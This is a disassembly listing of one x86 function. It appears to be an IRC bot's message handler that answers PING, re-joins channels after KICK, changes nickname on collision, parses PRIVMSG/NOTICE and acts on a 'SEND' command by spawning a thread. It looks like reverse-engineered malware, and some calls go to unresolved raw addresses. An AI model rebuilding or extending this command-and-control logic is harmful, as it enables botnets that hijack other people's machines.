var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDC4 ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDC0 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDBC ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h


loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------


loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D


loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52


loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax


loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026


loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067


loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004


loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CCFC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644


loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCC0
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC84
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416563
		push	ebx
		push	ebx
		call	near ptr 2690496h
		nop
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_40228C
; ---------------------------------------------------------------------------


loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1


loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC80
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE


loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
		cmp	[ebp+arg_10], ebx
		jz	short loc_40233A
